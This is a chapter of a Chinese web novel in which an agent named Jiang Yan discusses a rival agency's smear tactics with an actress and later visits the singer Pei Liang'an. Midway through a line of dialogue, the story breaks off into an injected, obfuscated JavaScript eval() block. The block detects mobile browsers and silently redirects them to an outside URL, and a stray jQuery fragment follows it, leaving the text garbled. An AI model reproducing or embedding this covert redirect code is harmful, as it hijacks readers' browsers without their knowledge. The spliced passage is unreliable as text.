十天之后，江言脚伤大好，第一时间就抛弃了陪伴自己许久的轮椅，并约了姚祁吃饭。


    一家高档餐厅的包厢内，网络上大红大紫的女明星姚祁随意坐着，连妆都没化，但依旧抵挡不住她明艳动人的颜值。


    “左槐安我有十几天没见，听说他请假了。”


    江言一手撑着太阳穴，一手拿着筷子捣鼓桌上的饭菜，一小口一小口往嘴里塞：“唉！你俩倒是混熟了，什么都知道，看来我不在的日子里，公司有趣得很呐！”


    “看你说的，这点儿能耐都没有，我怎么在圈里混。”姚祁给自己杯子里倒了酒，“不过你真要去做裴凉安助理啊？我怎么感觉不太靠谱呢！”


    江言看着姚祁饮酒，无奈说：“你少喝点。”


    姚祁一边吃菜一边给自己倒酒：“我酒量你又不是不知道。”


    窗外已是华灯初上，月光铺洒在枝头，被霓虹灯堵住最后一丝光，在看不到的世界尽头，有人狂欢亦有人悲伤。


    “唉！自从上次和裴凉安去探班以后，我就没再见过他了，不过后天你们就要正式进组，明天估计就回了。”江言转过头来，也给自己倒了一杯。


    “你说他们家能有什么事儿啊！回去这么久？”姚祁露出问号。


    这个问题江言也想过，裴凉安亲自探班，并搁浅了自己的创作计划，肯定不是小事。


    “这个时候，能将裴凉安请回去，无非是他母亲和左槐安，牵扯到这两个人，无非就是遗产问题，”江言脑袋灵光一闪，突然往前靠了靠，“你俩天天厮混，有没有听到什么？”


    姚祁抿嘴。


    沉默半晌后头往江言跟前凑了凑：“我好像听左槐安提起过，他爷爷这两年身体不好，在住院。”


    江言垂下眼皮：“那八成是了。”


    姚祁一杯酒下肚：“也就是说，这次左槐安回来，身价得涨啊！”


    话的确是这样说的。


    趴在桌子上的江言想到裴凉安在台上唱歌的样子，他母亲和父亲离婚多年，母亲更是长居国外，甚至改了姓，随母亲，但他毕竟还是安家的人，股权也好，遗产也罢，都会有他一份。


    安家就两个儿子，结果全进了娱乐圈。


    “有趣。”


    姚祁喝的有点多，脸色开始慢慢泛红：“哪里有趣，你就是对你担太上心。”


    说及此，姚祁拍了拍江言的肩膀：“不过看在他成为你担的时机上，我就不跟他计较了。”


    江言很是认可这句话，裴凉安对她而言，更多的不是歌声，而是向着世界勇敢直前的动力，虽然这个动力听起来荒谬不可靠，但事实证明，这个动力让她有了目标有了方向，从过去走了出来，不再是那个只会躲在雨里哭的失败者。


    “那我替他谢谢你。”


    吃饱喝足，姚祁收了筷子：“我都好久没和你一起吃饭了，有时候在想，我们走到今天这一步，是对还是错，成功是成功，梦想也在逐步实现，可总是感觉缺了什么，有些东西就是不见了。”


    江言摸了摸姚祁的头发：“你太累了，等这部戏拍完，给自己放个长假，到时候想去哪儿玩，我都陪你。”


    姚祁一笑：“你不签裴凉安了？”


    收回手的江言装作认真思考问题的样子：“三个月都签不下来，那我就别混了。”


    “有道理，”姚祁点头同意，“陈姐说，裴凉安解约的消息至今为止都没有大肆透露，只有几个大公司从优零月府内部了解到一些信息，要么是早找好了下家，要么是不想再签公司，她让左槐安旁敲侧击问了问，几乎没说什么有用的，所以她估计是后者。”


    和裴凉安相处的这段时间里，江言并没有对这个人有了解，反而是多日未见，想明白很多。


    她看着眼前的红酒杯。


    如果摇一摇，那会是怎样一只手？


    “不管他怎么想，都是会变的，我会找到他想要的，一切自然迎刃而解。”


    姚祁拿了手机出来：“你去做他助理，我不拦你，这事儿你想了六年，我永远支持，何况百利而无一害。”


    放在江言面前的，是姚祁和阳蕊的聊天记录。


    江言从趴着的桌子上起来，拿着姚祁的手机翻看，也难为她为了裴凉安的事去套话。


    当然，阳蕊愿意说的就那么点儿事，海星娱乐高层不稳，她自是担心被影响到。海星风评很差，却一直是力捧她，对于签约的歌手里，一直没能有个出圈的，水平也就在及格线上，因为内部斗争把裴凉安拉下了水。


    “海星娱乐对签裴凉安和不签还有争论？”江言看完后将手机放下。


    姚祁并不否认：“不是所有的娱乐公司都像你一样，他们看好裴凉安的前提是，裴凉安不会影响到他们的利益，一旦触碰到，可是什么事都做得出来。”


    “阳蕊告诉你这些就只是为了J&L的一个资源？我总觉得她没那么简单。”江言对于阳蕊这个人始终不大放心，但奈何大家资源上有太多共享和冲突，根本不可能不打交道。


    “她当然不简单，但至少目前她应该不想海星娱乐签下裴凉安，但又不想事情闹得太难看，海星娱乐如果出了问题，她的资源一定会受到影响，她主动向我透露这些，应该是不想J&L和海星对立的时候把怒火分散到她身上。”


    江言点头：“我对毁了整个海星没兴趣，但她如果不说这些，陈姐有很大可能会在她身上做文章，但如今她说了，我们再牵扯她这个无辜的人，就显得我们落井下石，到时候她只要卖一波惨，就能收获一大批粉丝，但这个就要赌我们会不会卖了她，我想，她大约赌我们不会。”


    “她很聪明。”姚祁给了极为中肯的评价。


    江言转动眸子：“海星娱乐里上次黑裴凉安的人应该还会出手，不达目的她不会罢休。”


    “那这次还要直接让公关控评吗？”


    江言摇摇头：“不，我拍了六年裴凉安，他有没有能炒的黑料我一清二楚，粉丝不会相信，最多只有路人跟风，只要在热度完全下去之前甩出证据，就不会出问题。既然有人想拿他当踏板，总要解决了这个麻烦，不然就得一直盯着，防止她时时刻刻扑上来。”


    “会不会有点冒险？”


    江言的眼角是带点锋利的，她用蓬松散乱的头发，简单可爱的发型去掩盖这一点。


    “喜欢的人会一直喜欢，想黑他的人也不会因为掌控不了局


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14353565|152746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    势就停止黑他，而路人缘这东西，不是足够的公关就能让路人喜欢或者不喜欢。”


    “我明白了，”姚祁认可般说，“我会跟陈姐打招呼的。”


    .


    心有忧虑的江言再次见到裴凉安是在这个月的最后一天，久不见的人看上去心情并不好，回来之后一天都没出门，她在猫眼里看着，连外卖都没见送。


    直到姚祁跟她发了一条消息。


    姚祁：左槐安爷爷去世了。


    一直到了晚上，江言还不见有动静，忍不住点了外卖，送来的时候已经快八点了，正是城市车辆最多的时候，从落地窗看出去，小区门口不停有车停下，父母带着自己的孩子想要趁着夜风吹过的时候去广场公园里感受城市的样子。


    江言按响了门铃。


    人倒是来得快，裴凉安穿着藏蓝色的睡衣，眼神迷离，头发乱成一团，很显然是刚从睡梦中醒来。


    “我是不是打扰到你了？”江言提着外卖，看着裴凉安有些发白的唇色，整个人都没精神，肯定是一天没吃饭。


    裴凉安缓缓开口：“没有，刚醒，你就来了。”


    比江言想象中要好，也是，裴凉安爷爷住院两年，心里应该早就清楚，这样子更像是累的。


    “我点了外卖，一个人无聊，就想过来看看，要不要一起？”


    裴凉安揉了揉眼睛，还没从睡梦里完全恢复过来，只是点点头。


    进门的江言打量了下房间，只有丢在沙发上的外套，其他地方并没有动过，应该是睡了一天。


    她指着落地窗的方向：“能在那儿吗？”


    “随你。”


    裴凉安说完就进了卫生间，能听到里面大概是在洗脸刷牙的声音。


    江言提着东西坐在落地窗旁边，她点的都是些凉菜，什么鸡爪小龙虾之类的，还有两个冰激凌。


    等裴凉安出来，看上去清醒了不少，原本乱糟糟的头发也被收拾过了，自来卷正常顺下来，有些遮挡眼睛，裴凉安身后往后拨了拨，露出光亮饱满的额头。


    江言将冰激凌递出去：“吃吗？醒醒神。”


    裴凉安接东西的速度比江言想象中快，没有任何犹豫，拿过去就拆开挖了一口出来，还很给面子地夸赞：“好吃，你喜欢？”


    “还好，想吃冰的而已。”


    其实是担心裴凉安没胃口。


    “你脚伤好了？”裴凉安看了一眼江言的脚，手上吃的动作可没落下。


    江言看着自己买的冰激凌很快见了底，看来饿了一天的肚子已经撑不住了，从旁边的袋子里找到手套递了过去。


    “嗯，没怎么乱动，确实好得快。”说完，江言的手机就响了一声，勺子被插在冰激凌里面，从背带裤里掏出来，是陈非非发来的。


    陈非非：你没猜错，裴凉安上热搜了。


    这么快？


    江言迅速打开微博，果然。


    她抬头看向正吃的一点儿也不客气的裴凉安：“你上热搜了。”


    “你关注我微博了？”


    裴凉安这纯洁的眼神让江言一度怀疑这人不应该唱歌，应该去演戏。


    “这话说的，我好歹是你助理。”